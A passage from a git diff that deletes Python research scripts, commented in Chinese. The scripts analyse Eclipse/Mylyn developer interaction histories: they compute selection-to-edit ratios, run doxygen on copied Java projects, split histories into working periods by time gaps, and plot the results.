model_dir) - model_file = join(model_path, '_code_context_model.xml') - xml_path = join(project_path, model_file) - - tree = ET.parse(xml_path) # 拿到xml树 - # 获取XML文档的根元素 - root = tree.getroot() - selection = 0.0 - edit = 0.0 - for elem in root.iter("vertex"): - event_kind = elem.get("event_kind") - if event_kind == "selection": - selection += 1 - elif event_kind == "edit": - edit += 1 - if edit == 0: - edit_0 += 1 - else: - s_e_r.append(selection / edit) - - print(f"----------项目: {project}------------") - # 基本统计指标 - mean = np.mean(s_e_r) - median = np.median(s_e_r) - maximum = np.max(s_e_r) - minimum = np.min(s_e_r) - variance = np.var(s_e_r) - std_dev = np.std(s_e_r) - # 众数 - try: - mode_val = statistics.mode(s_e_r) # 单众数 - except statistics.StatisticsError: - mode_val = "No unique mode" # 如果有多个众数 - # 使用 scipy 计算多众数 - mode_result = mode(s_e_r, axis=None) - # 分位数 - percentile_75 = np.percentile(s_e_r, 75) - percentile_90 = np.percentile(s_e_r, 90) - percentile_95 = np.percentile(s_e_r, 95) - # 桶分布(直方图) - bucket_counts, bin_edges = np.histogram(s_e_r, bins=10) # 将数据分为4个桶 - - # 打印结果 - print(f"model 总个数: {len(model_dir_list)}") - print(f"edit 元素为 0 的 model 个数:{edit_0}") - print(f"剩余 {len(model_dir_list) - edit_0} model 的比例统计指标(number_of_selection / number_of_edit):") - print(f"平均值 (Mean): {mean:.2f}") - print(f"中位数 (Median): {median:.2f}") - print(f"最大值 (Max): {maximum:.2f}") - print(f"最小值 (Min): {minimum:.2f}") - print(f"方差 (Variance): {variance:.2f}") - print(f"标准差 (Standard Deviation): {std_dev:.2f}") - print("众数 (Mode):", mode_val) - print("众数 (Scipy):", mode_result.mode, "出现次数:", mode_result.count) - print("75分位数 (75th Percentile):", percentile_75) - print("90分位数 (90th Percentile):", percentile_90) - print("95分位数 (95th Percentile):", percentile_95) - print("桶分布 (Bucket Distribution):") - for i in range(len(bucket_counts)): - print(f"范围 {bin_edges[i]:.2f} ~ {bin_edges[i + 1]:.2f}: {bucket_counts[i]}") - - -# add_event_kind_to_iqr_code_timestamp() -# add_event_kind_to_code_context_model() -analysis_selection_edit_ratio(['my_pde', 'my_platform', 'my_mylyn']) diff --git a/params_validation/utils/copy_file.py b/params_validation/utils/copy_file.py deleted file mode 100644 index 190fa92..0000000 --- a/params_validation/utils/copy_file.py +++ /dev/null @@ -1,138 +0,0 @@ -""" -07步骤工具类 -根据solve_file工具类得到的path路径 -去解析code elements对应的文件,将文件copy到另一个目录中,减少doxygen解析量 -""" -import os -import shutil -from os.path import join, exists - - -def make_dir(directory): - """ - 创建一个目录 - - :param directory: 目录地址 - :return: 无返回值,创建目录 - """ - if not os.path.exists(directory): - os.makedirs(directory) - return directory - - -def extract_element_java_file(repo_list: list[str], elements: list[str]): - """ - 根据repo_list进行分类,提取各个项目的code elements所对应的java文件 - :param repo_list: 项目列表 - :param elements: code elements - :return: {repo: set[java_file_path]} - """ - result: dict[str, set[str]] = dict() - count = 0 - for repo in repo_list: - src_index = repo.find("/src") - repo_index = repo.rfind("/", 0, src_index) - result[repo[repo_index + 1: src_index]] = set() - for element in elements: - index1 = element.find("/src<") - index2 = element.find("{") - index3 = element.rfind(".java") - if index1 == -1 or index2 == -1 or index3 == -1: - continue - project_path = element[1: index1] - package_path = element[index1 + 8: index2].replace(".", "/") - file_path = element[index2 + 1: index3 + 5] - for repo in repo_list: - if repo.find(project_path) > 0: - java_file = join(repo, package_path, file_path) - if exists(java_file): - count += 1 - result.get(project_path).add(java_file) - print('{} elements find {} file'.format(len(elements), count)) - return result - - -def copy_new_file(root: str, java_file_map: dict[str, set[str]]): - """ - 复制相关文件到root目录 - :param root: 目标目录 - :param java_file_map: 解析出来java文件路径 {repo: set[java_file_path]} - :return: copy项目保存src路径 - """ - result = [] - for item in java_file_map.items(): - repo = item[0] - java_set = item[1] - result.append(join(root, repo, 'src')) - for java_file in java_set: - start_index = java_file.find(repo) - end_index = java_file.rfind('/') - new_dir = java_file[start_index: end_index] - java_name = java_file[end_index + 1:] - make_dir(join(root, new_dir)) - new_file_path = join(root, new_dir, java_name) - shutil.copy(java_file, new_file_path) - return result - - -def extract_element_project_repos(repo_list: list[str], elements: list[str]): - """ - 根据repo_list进行分类,提取各个项目的资源跟目录 - :param repo_list: 项目列表 - :param elements: code elements - :return: [(repo: project_root_path)] - """ - result: dict[str, str] = dict() - for repo in repo_list: # 解析出根目录,去除src层 - src_index = repo.find("/src") - repo_index = repo.rfind("/", 0, src_index) - result[repo[repo_index + 1: src_index]] = repo - print('{} elements find {} project repo'.format(len(elements), len(result))) - return result - - -def copy_new_project(root: str, java_projects: dict[str, str]): - """ - 复制相关文件到 root 目录 - - :param root: 目标目录 - :param java_projects: 解析出来java文件路径 {repo: set[java_file_path]} - :return: copy项目保存src路径 - """ - result = [] - for project_dict in java_projects.items(): - project_repo = project_dict[0] - old_project_path = project_dict[1] - new_project_repo_path = join(root, project_repo) - print('1111', old_project_path, os.path.exists(old_project_path)) - if os.path.exists(new_project_repo_path): - # 如果目标路径存在原文件夹的话就先删除 - shutil.rmtree(new_project_repo_path) - # make_dir(new_project_repo_path) - new_project_path = join(root, project_repo, 'src') - result.append(new_project_path) - if os.path.exists(new_project_path): - # 如果目标路径存在原文件夹的话就先删除 - shutil.rmtree(new_project_path) - shutil.copytree(old_project_path, new_project_path) - return result - - -def copy_element_file(root: str, repo_list: list[str], elements: list[str]): - """ - 提取code elements关联得文件(修改为提取code elements相关的项目),方便后续运行doxygen - - :param root: 保存文件的根目录 - :param repo_list: 解析出来的repo仓库路径 - :param elements: code elements - :return: - """ - # print("root: {0}, repo list: {1}, elements: {2}".format(root, repo_list, elements)) - # 解析出project,这里直接解析出项目,是为了后续进行扩展得到大图 - java_projects = extract_element_project_repos(repo_list, elements) - print("java projects : {0}".format(java_projects)) - # 将项目文件copy到root目录 - result = copy_new_project(root, java_projects) - print("copy projects finished") - return result - diff --git a/params_validation/utils/run_doxygen.py b/params_validation/utils/run_doxygen.py deleted file mode 100644 index 6672170..0000000 --- a/params_validation/utils/run_doxygen.py +++ /dev/null @@ -1,149 +0,0 @@ -""" -07步骤工具类 -用于运行doxygen,输入项目路径,输出doxygen分析xml文件 -""" -import os -import subprocess -from os.path import join - - -def make_dir(directory): - """ - 创建一个目录 - - :param directory: 目录地址 - :return: 无返回值,创建目录 - """ - if not os.path.exists(directory): - os.makedirs(directory) - return directory - - -def delete_origin_file(dest_src: str, file_name: str): - """ - 删除某个文件,并返回他的路径,如果存在的话 - :param dest_src: 目标路径 - :param file_name: 文件名 - :return: 文件全路径 - """ - p = join(dest_src, file_name) - if os.path.exists(p): - os.remove(p) - return p - - -def generate_configure(dest_src: str, file_name: str): - """ - 生成doxygen配置文件的指令 - :param dest_src: 目标目录 - :param file_name: configure 文件名 - :return: windows命令行指令 - """ - return 'cd {0} && doxygen -g {1} >/dev/null 2>&1'.format(dest_src, file_name) - - -def generate_run(dest_src: str, file_name: str): - """ - 生成doxygen run指令 - :param dest_src: 目标目录 - :param file_name: configure 文件名 - :return: windows命令行指令 - """ - return 'cd {0} && doxygen {1} >/dev/null 2>&1'.format(dest_src, file_name) - - -def edit_configure_file(source_src: str, dest_src: str, configure_path: str, project_name: str): - """ - 编辑doxygen的配置文件,输出xml文件 - :param source_src: 项目源路径 - :param dest_src: 输出目录 - :param configure_path: 配置文件路径 - :param project_name: 输出的项目名称 - :return: - """ - # 需要修改如下字段 - # INPUT=source_src - # OUTPUT_DIRECTORY=dest_src - # GENERATE_HTML=NO - # GENERATE_LATEX=NO - # GENERATE_XML=YES - # CALL_GRAPH=YES - # CALLER_GRAPH=YES - # EXTRACT_ALL=YES - # EXTRACT_PRIVATE=YES - # OPTIMIZE_OUTPUT_JAVA=YES - file_data = "" - with open(configure_path, "r", encoding="utf-8") as f: - for line in f: - new_line = line.replace(' ', '') - if new_line.startswith('INPUT='): - line = 'INPUT = ' + source_src + '\n' - elif new_line.startswith('OUTPUT_DIRECTORY='): - line = 'OUTPUT_DIRECTORY = ' + dest_src + '\n' - elif new_line.startswith('GENERATE_HTML='): - line = 'GENERATE_HTML = NO' + '\n' - elif new_line.startswith('GENERATE_LATEX='): - line = 'GENERATE_LATEX = NO' + '\n' - elif new_line.startswith('GENERATE_XML='): - line = 'GENERATE_XML = YES' + '\n' - elif new_line.startswith('CALL_GRAPH='): - line = 'CALL_GRAPH = YES' + '\n' - elif new_line.startswith('EXTRACT_ALL='): - line = 'EXTRACT_ALL = YES' + '\n' - elif new_line.startswith('EXTRACT_PRIV_VIRTUAL='): - line = 'EXTRACT_PRIV_VIRTUAL = YES' + '\n' - elif new_line.startswith('EXTRACT_PRIVATE='): - line = 'EXTRACT_PRIVATE = YES' + '\n' - elif new_line.startswith('EXTRACT_STATIC='): - line = 'EXTRACT_STATIC = YES' + '\n' - elif new_line.startswith('OPTIMIZE_OUTPUT_JAVA='): - line = 'OPTIMIZE_OUTPUT_JAVA = YES' + '\n' - elif new_line.startswith('XML_OUTPUT='): - line = 'XML_OUTPUT = ' + project_name + '\n' - elif new_line.startswith('PROJECT_NAME='): - line = 'PROJECT_NAME = ' + project_name + '\n' - elif new_line.startswith('FILE_PATTERNS='): - line = 'FILE_PATTERNS = *.c \\' + '\n' - elif new_line.startswith('RECURSIVE='): - line = 'RECURSIVE = YES' + '\n' - elif new_line.startswith('CALLER_GRAPH='): - line = 'CALLER_GRAPH = YES' + '\n' - elif new_line.startswith('INPUT_FILE_ENCODING='): - line = 'INPUT_FILE_ENCODING = UTF-8' + '\n' - file_data += line - with open(configure_path, "w", encoding="utf-8") as f: - f.write(file_data) - - -def run_xml_doxygen(source_src: str, dest_src: str, project_name: str): - """ - 运行生成xml的doxygen程序,将会自动生成doxygen配置文件和分析文件 - :param source_src: 源项目路径 - :param dest_src: 输出目录 - :param project_name: 项目名称 - :return: - """ - # 设置doxygen环境变量,它默认是root的环境变量 - os.environ['PATH'] = '/data1/shunliu/program/doxygen/bin:' + os.environ['PATH'] - file_name = project_name + '_Doxyfile' - configure_path = delete_origin_file(dest_src, file_name) - configure_command = generate_configure(dest_src, file_name) - print(configure_command) - subprocess.run(configure_command, shell=True) - edit_configure_file(source_src, dest_src, configure_path, project_name) - run_command = generate_run(dest_src, file_name) - print(run_command) - subprocess.run(run_command, shell=True) - - -def main_doxygen(repo_list: list[str]): - print('start run doxygen program of repo list: {0}'.format(repo_list)) - for repo in repo_list: - src_index = repo.find("/src") - repo_index = repo.rfind("/", 0, src_index) - project_name = repo[repo_index + 1: src_index] - dest_src = join(repo[0: repo_index], 'doxygen') - make_dir(dest_src) - run_xml_doxygen(repo, dest_src, project_name) - print('run {0} doxygen finished'.format(project_name)) - print("doxygen run finish") diff --git a/params_validation/utils/solve_file.py b/params_validation/utils/solve_file.py deleted file mode 100644 index 834173b..0000000 --- a/params_validation/utils/solve_file.py +++ /dev/null @@ -1,73 +0,0 @@ -""" -07步骤的工具类 -用于从项目中解析code elements所处的文件夹 -""" -import os -from os.path import isdir, join - - -def filter_dire(path: str): - """ - 过滤有效的dir 不已.开头,并且本身是目录 - - :param path: 目录 - :return: 返回该目录下的有效 dir list - """ - file_dir_list = os.listdir(path) - return list(filter(lambda dir_str: not dir_str.startswith('.') and isdir(join(path, dir_str)), file_dir_list)) - - -def extract_repos(elements: list[str]): - """ - 从code elements中解析出repo - - :param elements: code elements - :return: 不重复的repo list - """ - repos = set() - for element in elements: - index = element.find('/src<') - if index == -1: - continue - repos.add(element[1: index]) - return list(repos) - - -def find_repo_deep(path: str, repo: str): - """ - 递归查找是否存在某个项目,如果某个目录下含有src目录,则可以结束递归 - - :return: 如果找到了,返回项目路径 - """ - sub_dir_list = filter_dire(path) - # print("finding in {0} has dir: {1}".format(path, sub_dir_list)) - if sub_dir_list.count('src') > 0: - return '' - for sub_dir in sub_dir_list: - if sub_dir == repo: - return join(path, sub_dir) - else: - res = find_repo_deep(join(path, sub_dir), repo) - if res: - return res - - -def solve_element_directory(path: str, elements: list[str]): - """ - 根据项目path和code elements查找code elements所在的目录 - - :param path: 项目路径 - :param elements: code elements - :return: 找到的项目路径 list - """ - repos = extract_repos(elements) - print("repos: {0}".format(repos)) - repo_path_list = [] - for repo in repos: - # print("now finding {0}".format(repo)) - repo_path = find_repo_deep(path, repo) - if repo_path: - repo_path_list.append(join(repo_path, 'src')) - # print("found result: {0}".format(repo_path)) - print("found repo path results:{0}".format(repo_path_list)) - return repo_path_list diff --git a/params_validation/working_periods/1_duration_count.py b/params_validation/working_periods/1_duration_count.py deleted file mode 100644 index 08ef236..0000000 --- a/params_validation/working_periods/1_duration_count.py +++ /dev/null @@ -1,151 +0,0 @@ -""" -收集每个 bug duration数据 -""" -import ast -import os -from os.path import isdir, join -import xml.etree.ElementTree as ET -from datetime import datetime - -import matplotlib.pyplot as plt -import numpy as np -import pandas as pd - -from data_count.time_util import get_common_time - - -path = '../../bug_dataset/mylyn_zip' - - -def get_duration_of_event(date_list: list[str]): - duration_list = [] # 相差的秒数 - for i in range(len(date_list) - 1): - time1 = datetime.strptime(date_list[i], '%Y-%m-%d %H:%M:%S') - time2 = datetime.strptime(date_list[i + 1], '%Y-%m-%d %H:%M:%S') - duration = time2 - time1 - duration_list.append(duration.total_seconds()) - return duration_list - - -def save_to_tsv(): - project_dir_list = os.listdir(path) - for project in project_dir_list: - project_path = join(path, project) - if not isdir(project_path): - continue - print('目录:', project, project_path) - bug_dir_list = os.listdir(project_path) - bug_dir_list = sorted(bug_dir_list, key=lambda x: int(x)) - result = [] - # 进入bug目录 - for bug in bug_dir_list: - print('-----', bug) - duration_list = [] - bug_path = join(project_path, bug) - if not isdir(bug_path): - continue - zip_dir_list = os.listdir(bug_path) - print(zip_dir_list) - zip_dir_list = list(filter(lambda x: not x.endswith('.zip'), zip_dir_list)) - zip_dir_list.sort(key=lambda x: int(x.split('_')[1])) - print(zip_dir_list) - bug_zip_path = join(bug_path, zip_dir_list[-1]) - # 读取到最后一个traces的bug_zip - if not isdir(bug_zip_path): - continue - xml_dir_list = os.listdir(bug_zip_path) - # 开始读取xml文件 - for xml_file in xml_dir_list: - if not xml_file.endswith('.xml'): - continue - xml_file_path = join(bug_zip_path, xml_file) - tree = ET.parse(xml_file_path) - # 拿到InteractionHistory节点 - root = tree.getroot() - # 拿到所有的InteractionEvent - events_nodes = root.findall('InteractionEvent') - # 拿到所有event的开始时间 - start_date_list = [] - for event in events_nodes: - start_date_list.append(event.attrib.get('StartDate')) - for i in range(len(start_date_list)): - start_date_list[i] = get_common_time(start_date_list[i]) - start_date_list.sort() - duration_list = get_duration_of_event(start_date_list) # duration列表 - # print(duration_list) - result.append((bug, duration_list)) - df = pd.DataFrame(result, columns=['bug_id', 'durations']) - df.to_csv(f'./{project}.tsv', index=False) - - -def process(): - project_dir_list = os.listdir(path) - # 计算比例 - times = [1800, 3600, 5400, 7200, 9000, 10800, 12600, 14400, 16200, 18000] - times_ = ['0.5h', '1h', '1.5h', '2h', '2.5h', '3h', '3.5h', '4h', '4.5h', '5h'] - final_avg = [] - final_quarter = [] - final_max = [] - final_all = [] - d = np.array([]) - for project in project_dir_list: - print(f'-----{project}-----') - df = pd.read_csv(f'./{project}.tsv') - df['durations'] = df['durations'].apply(lambda x: np.array(ast.literal_eval(x))) - df.insert(loc=2, column='average', value=df['durations'].apply(lambda x: np.mean(x)).tolist()) - df.insert(loc=3, column='quarter', value=df['durations'].apply(lambda x: np.percentile(np.sort(x), 98, method='midpoint')).tolist()) - df.insert(loc=4, column='max', value=df['durations'].apply(lambda x: np.max(x)).tolist()) - avg_ = [] - quarter_ = [] - max_ = [] - all_ = [] - for time_period in times: - avg_percent = np.count_nonzero(df['average'] < time_period) / len(df['average']) - quarter_percent = np.count_nonzero(df['quarter'] < time_period) / len(df['quarter']) - max_percent = np.count_nonzero(df['max'] < time_period) / len(df['max']) - all_duration = np.concatenate(df['durations'].tolist()) - d = np.concatenate([d, all_duration]) - all_percent = np.count_nonzero(all_duration < time_period) / len(all_duration) - avg_.append(avg_percent) - quarter_.append(quarter_percent) - max_.append(max_percent) - all_.append(all_percent) - # print(f'avg: {avg_percent}, quarter: {quarter_percent}, max: {max_percent}, all: {all_percent}') - final_avg.append(avg_) - final_quarter.append(quarter_) - final_max.append(max_) - final_all.append(all_) - print(np.mean(all_duration)) - print(np.mean(d)) - - plt.plot(times_, final_avg[0], '.-', label='Platform') - plt.plot(times_, final_avg[1], '.-', label='ECF') - plt.plot(times_, final_avg[2], '.-', label='PDE') - plt.plot(times_, final_avg[3], '.-', label='Mylyn') - # plt.title('InteractionHistory whose average duration below time threshold') - plt.xlabel('time threshold') - plt.ylabel('InteractionHistory proportion') - plt.legend() - plt.show() - plt.plot(times_, final_max[0], '.-', label='Platform') - plt.plot(times_, final_max[1], '.-', label='ECF') - plt.plot(times_, final_max[2], '.-', label='PDE') - plt.plot(times_, final_max[3], '.-', label='Mylyn') - # plt.title('max InteractionHistory duration below time threshold') - plt.xlabel('time threshold') - plt.ylabel('InteractionHistory proportion') - plt.legend() - plt.show() - plt.plot(times_, final_all[0], '.-', label='Platform') - plt.plot(times_, final_all[1], '.-', label='ECF') - plt.plot(times_, final_all[2], '.-', label='PDE') - plt.plot(times_, final_all[3], '.-', label='Mylyn') - # plt.title('durations below time threshold') - plt.xlabel('time threshold') - plt.ylabel('duration proportion') - plt.legend() - plt.show() - - -# save_to_tsv() -process() diff --git a/params_validation/working_periods/2_periods_break.py b/params_validation/working_periods/2_periods_break.py deleted file mode 100644 index 792ed0f..0000000 --- a/params_validation/working_periods/2_periods_break.py +++ /dev/null @@ -1,162 +0,0 @@ -# 根据时间间隔对history进行分割,得到working periods -import os -import shutil -from datetime import datetime -from os.path import isdir, join -import xml.etree.ElementTree as ET - -import pandas as pd -from data_count.time_util import get_common_time - -PERIOD_INDEX = 0 -TIME_ = 0 -TIME_PERIOD = '' -TOTAL_DATA = [] -XML_ROOT = None - - -def make_dir(directory): - """ - 创建一个目录 - - :param directory: 目录地址 - :return: 无返回值,创建目录 - """ - if not os.path.exists(directory): - os.makedirs(directory) - - -def init_xml(bug): - global XML_ROOT - XML_ROOT = ET.Element("bug_working_periods") - XML_ROOT.set("bug_id", str(bug)) - - -def save_xml(project_name: str): - global XML_ROOT - global PERIOD_INDEX - file_path = os.path.dirname(os.path.realpath(__file__)) - make_dir(TIME_PERIOD + project_name) - file_name = os.path.join(file_path, TIME_PERIOD + project_name + "/" + str(PERIOD_INDEX) + ".xml") - if os.path.exists(file_name): - os.remove(file_name) - # 保存文件 - tree = ET.ElementTree(XML_ROOT) - # 将XML写入文件 - tree.write(file_name) - - -def duration_is_over(date1: str, date2: str): - time1 = datetime.strptime(date1, '%Y-%m-%d %H:%M:%S') - time2 = datetime.strptime(date2, '%Y-%m-%d %H:%M:%S') - duration = time2 - time1 - return (duration.total_seconds()) >= TIME_ - - -def break_interaction_history(events_nodes: list[ET.Element], bug_id, project_name): - global MODEL_ID - global XML_ROOT - global PERIOD_INDEX - global TOTAL_DATA - if len(events_nodes) <= 0: - return - transfer_nodes: list[dict] = [] - for node in events_nodes: - transfer_nodes.append({ - "id": 0, - "event_kind": node.attrib.get('Kind'), - "event_structure_kind": node.attrib.get('StructureKind'), - "event_start_date": get_common_time(node.attrib.get('StartDate')), - "event_structure_handle": node.attrib.get('StructureHandle') - }) - transfer_nodes.sort(key=lambda x: x.get('event_start_date')) # 按照时间升序排列 - count = 0 - c_i, n_i = 0, 0 # current_index next_index - init_xml(bug_id) - PERIOD_INDEX += 1 - save_nodes = 0 - # 然后一个一个的判断 - while n_i < len(transfer_nodes): - # 之前与前一个node的时间差达到时间间隔,就递增MODEL_ID,保存,初始化下一个 - if duration_is_over(transfer_nodes[c_i].get('event_start_date'), transfer_nodes[n_i].get('event_start_date')): - save_xml(project_name) - init_xml(bug_id) - PERIOD_INDEX += 1 - count += 1 - en = transfer_nodes[n_i] - event = ET.SubElement(XML_ROOT, 'event') - event.set("event_kind", en.get("event_kind")) - event.set("event_structure_kind", en.get("event_structure_kind")) - event.set("event_structure_handle", en.get("event_structure_handle")) - event.set("event_start_date", en.get("event_start_date")) - save_nodes += 1 - c_i = n_i - n_i += 1 # 进入下一个node - save_xml(project_name) - count += 1 - TOTAL_DATA.append((project_name, bug_id, count)) - print("{}'s {} bug has {} working periods, total/saved: {}/{}".format(project_name, bug_id, count, - len(transfer_nodes), save_nodes)) - - -def main_fun(): - global TOTAL_DATA - global PERIOD_INDEX - path = '../../bug_dataset/mylyn_zip' - project_dir_list = os.listdir(path) - TOTAL_DATA = [] - for project in project_dir_list: - project_path = join(path, project) - if not isdir(project_path): - continue - print('目录:', project, project_path) - PERIOD_INDEX = 0 - bug_dir_list = os.listdir(project_path) - bug_dir_list = sorted(bug_dir_list, key=lambda x: int(x)) - # 进入bug目录 - for bug in bug_dir_list: - bug_path = join(project_path, bug) - if not isdir(bug_path): - continue - zip_dir_list = os.listdir(bug_path) - zip_dir_list = list(filter(lambda x: not x.endswith('.zip'), zip_dir_list)) - zip_dir_list.sort(key=lambda x: int(x.split('_')[1])) - bug_zip_path = join(bug_path, zip_dir_list[-1]) - # 读取到最后一个traces的bug_zip - if not isdir(bug_zip_path): - continue - xml_dir_list = os.listdir(bug_zip_path) - # 开始读取xml文件 - for xml_file in xml_dir_list: - if not xml_file.endswith('.xml'): - continue - xml_file_path = join(bug_zip_path, xml_file) - tree = ET.parse(xml_file_path) - # 拿到InteractionHistory节点 - root = tree.getroot() - # 拿到所有的InteractionEvent - all_events_nodes = root.findall('InteractionEvent') - break_interaction_history(all_events_nodes, bug, project) - file_path = os.path.dirname(os.path.realpath(__file__)) - file_name = os.path.join(file_path, TIME_PERIOD, "total_working_data.tsv") - if os.path.exists(file_name): - os.remove(file_name) - # 保存文件 - pd.DataFrame(TOTAL_DATA, columns=['project', 'bug_id', 'working_periods']).to_csv(file_name, index=False) - - -def process(): - global TIME_ - global TIME_PERIOD - global PERIOD_INDEX - times = [1800, 3600, 5400, 7200, 9000, 10800, 12600, 14400, 16200, 18000] - if os.path.exists('./periods'): - shutil.rmtree('./periods') - for i in range(10): - TIME_ = times[i] - TIME_PERIOD = 'periods/0' + str(i) + "/" - PERIOD_INDEX = 0 - main_fun() - - -# process() diff --git a/params_validation/working_periods/3_show_period_result.py b/params_validation/working_periods/3_show_period_result.py deleted file mode 100644 index ebef2fe..0000000 --- a/params_validation/working_periods/3_show_period_result.py +++ /dev/null @@ -1,67 +0,0 @@ -import os - -import pandas as pd -from matplotlib import pyplot as plt - - -def count_working_periods(): - times_ = ['0.5h', '1h', '1.5h', '2h', '2.5h', '3h', '3.5h', '4h', '4.5h', '5h'] - mylyn, platform, ecf, pde = [], [], [], [] - for i in range(10): - file_path = os.path.dirname(os.path.realpath(__file__)) - file_name = os.path.join(file_path, 'periods/0' + str(i) + "/", "total_working_data.tsv") - df = pd.read_csv(file_name) # columns=['project', 'bug_id', 'working_periods'] - mylyn_df = df[df['project'] == 'Mylyn'] - platform_df = df[df['project'] == 'Platform'] - ecf_df = df[df['project'] == 'ECF'] - pde_df = df[df['project'] == 'PDE'] - m_bug, m_period = mylyn_df['bug_id'].count(), mylyn_df['working_periods'].sum() - p_bug, p_period = platform_df['bug_id'].count(), platform_df['working_periods'].sum() - e_bug, e_period = ecf_df['bug_id'].count(), ecf_df['working_periods'].sum() - pde_bug, pde_period = pde_df['bug_id'].count(), pde_df['working_periods'].sum() - mylyn.append(m_period) - platform.append(p_period) - ecf.append(e_period) - pde.append(pde_period) - print(f'{times_[i]} bugs: mylyn:{m_bug}, platform:{p_bug}, ecf:{e_bug}, pde:{pde_bug}') - print(f'{times_[i]} periods: mylyn:{m_period}, platform:{p_period}, ecf:{e_period}, pde:{pde_period}') - plt.plot(times_, mylyn, '.-') - plt.title('Mylyn') - plt.xlabel('time threshold') - plt.ylabel('working periods') - for i in range(10): - plt.text(times_[i], mylyn[i], mylyn[i], va='bottom') - plt.show() - plt.plot(times_, platform, '.-') - plt.title('Platform') - plt.xlabel('time threshold') - plt.ylabel('working periods') - for i in range(10): - plt.text(times_[i], platform[i], platform[i], va='bottom') - plt.show() - plt.plot(times_, ecf, '.-') - plt.title('ECF') - plt.xlabel('time threshold') - plt.ylabel('working periods') - for i in range(10): - plt.text(times_[i], ecf[i], ecf[i], va='bottom') - plt.show() - plt.plot(times_, pde, '.-') - plt.title('PDE') - plt.xlabel('time threshold') - plt.ylabel('working periods') - for i in range(10): - plt.text(times_[i], pde[i], pde[i], va='bottom') - plt.show() - plt.plot(times_, mylyn, '.-', label='Mylyn') - plt.plot(times_, platform, '.-', label='Platform') - plt.plot(times_, pde, '.-', label='PDE') - plt.plot(times_, ecf, '.-', label='ECF') - # plt.title('working periods') - plt.xlabel('time threshold') - plt.ylabel('working periods number') - plt.legend() - plt.show() - - -count_working_periods() diff --git a/params_validation/working_periods/4_periods_filter.py b/params_validation/working_periods/4_periods_filter.py deleted file mode 100644 index 719bb72..0000000 --- a/params_validation/working_periods/4_periods_filter.py +++ /dev/null @@ -1,144 +0,0 @@ -# 提取code element和最早最晚的startDate -# 所有的无效过滤条件,不需要过滤重复的code elements -# 最终留下来的就是有效的working periods了 -import os -import shutil -from os.path import join -import numpy as np -import pandas as pd -import xlwt -from collections import Counter -import xml.etree.ElementTree as ET - -xml_root = None -period_index = 0 - - -def make_dir(directory): - """ - 创建一个目录 - - :param directory: 目录地址 - :return: 无返回值,创建目录 - """ - if not os.path.exists(directory): - os.makedirs(directory) - - -def init_xml(bug_id): - global xml_root - xml_root = ET.Element("bug_filter_working_periods") - xml_root.set("bug_id", str(bug_id)) - - -def save_xml(xml_file_path): - global xml_root - if os.path.exists(xml_file_path): - os.remove(xml_file_path) - # 保存文件 - tree = ET.ElementTree(xml_root) - # 将XML写入文件 - tree.write(xml_file_path) - - -def read_xml(url): - """ - 读取xml格式文件 - 参数: - url:文件路径 - 返回: - data:表格中的数据 - """ - tree = ET.parse(url) # 拿到xml树 - # 获取XML文档的根元素 - root = tree.getroot() - events = root.findall('event') - data = [] - # 遍历每一行数据 - for event in events: - # 定义表格存储每一行数据 - da = [event.get("event_kind"), event.get("event_structure_kind"), - event.get("event_structure_handle"), event.get("event_start_date")] - # 存储每一行数据 - data.append(da) - # 返回数据 - return str(root.get('bug_id')), data - - -def main_func(): - if os.path.exists('./code_elements'): - shutil.rmtree('./code_elements') - file_path = join(os.path.dirname(os.path.realpath(__file__)), 'periods') - file_dir_list = os.listdir(file_path) - global xml_root - global period_index - for index_dir in sorted(file_dir_list, key=lambda x: int(x)): - if index_dir not in ['00', '01', '02', '03', '04', '05', '06', '07', '08', '09']: - continue - period_index = 0 - index_path = join(file_path, index_dir) - project_list = os.listdir(index_path) - total_period_event = [] - # 进入项目目录 - for project_dir in project_list: - period_index = 0 - if project_dir not in ['PDE', 'Mylyn', 'Platform', 'ECF']: - continue - make_dir("code_elements/" + index_dir + '/' + project_dir) - project_path = join(index_path, project_dir) - xml_list = os.listdir(project_path) - xml_list = [x[:x.find('.')] for x in xml_list] - xml_list = sorted(xml_list, key=lambda x: int(x)) - xml_list = [x + ".xml" for x in xml_list] - for period_xml_file in xml_list: - print(period_xml_file) - xml_path = join(project_path, period_xml_file) - bug_id, xml_data = read_xml(xml_path) # 拿到所有的data - # 过滤无效的event,并记录最早和最晚的startDate - a = np.array(xml_data) - # 提取第一个和最后一个event的startDate - all_start_date = a[:, -1] - first_date, last_date = min(all_start_date), max(all_start_date) - con = [] - # 只要有效,可以重复,方便后续提取时间 - for line in xml_data: - # 有效才返回True,留下来 - e_kind = line[0] - e_structure_king = line[1] - if ((e_kind == 'selection' or e_kind == 'edit') and e_structure_king == 'java') and ( - line[2].endswith('.java') or line[2].find('.java[') > -1): - con.append(True) - else: - con.append(False) - effective_data = a[con] # 得到有效的event - # 写入新的文件 - if len(effective_data) > 0: - period_index += 1 - init_xml(bug_id) - xml_root.set("total", str(len(effective_data))) - time_stamp = ET.SubElement(xml_root, "timestamp") - time_stamp.set("start", first_date) - time_stamp.set("last", last_date) - for en in effective_data: - event = ET.SubElement(xml_root, 'event') - event.set("event_kind", en[0]) - event.set("event_structure_kind", en[1]) - event.set("event_structure_handle", en[2]) - event.set("event_start_date", en[3]) - xls_file_name = os.path.join(os.path.dirname(os.path.realpath(__file__)), - "code_elements/" + index_dir + '/' + project_dir + "/" + str( - period_index) + ".xml") - save_xml(xls_file_name) - print("save {0} {1}'s {2} xml({3})".format(index_dir, project_dir, period_index, period_xml_file)) - # 统计每个working period的event个数信息 - total_period_event.append((project_dir, bug_id, period_index, len(effective_data))) - # 保存event统计文件 - total_file_name = os.path.join(os.path.dirname(os.path.realpath(__file__)), - "code_elements", index_dir, "working_periods_events.tsv") - if os.path.exists(total_file_name): - os.remove(total_file_name) - df = pd.DataFrame(total_period_event, columns=['project', 'bug_id', 'period_index', 'events']) - df.to_csv(total_file_name, index=False) - - -main_func() diff --git a/params_validation/working_periods/5_show_event_result.py b/params_validation/working_periods/5_show_event_result.py deleted file mode 100644 index d193d28..0000000 --- a/params_validation/working_periods/5_show_event_result.py +++ /dev/null @@ -1,94 +0,0 @@ -import os -from os.path import join - -import pandas as pd -from matplotlib import pyplot as plt - - -def draw_periods(bugs_result): - [mylyn, platform, pde, ecf] = bugs_result - times_ = ['0.5h', '1h', '1.5h', '2h', '2.5h', '3h', '3.5h', '4h', '4.5h', '5h'] - plt.plot(times_, mylyn, '.-') - plt.title('Mylyn') - plt.xlabel('time threshold') - plt.ylabel('working periods') - for i in range(10): - plt.text(times_[i], mylyn[i], mylyn[i], va='bottom') - plt.show() - plt.plot(times_, platform, '.-') - plt.title('Platform') - plt.xlabel('time threshold') - plt.ylabel('working 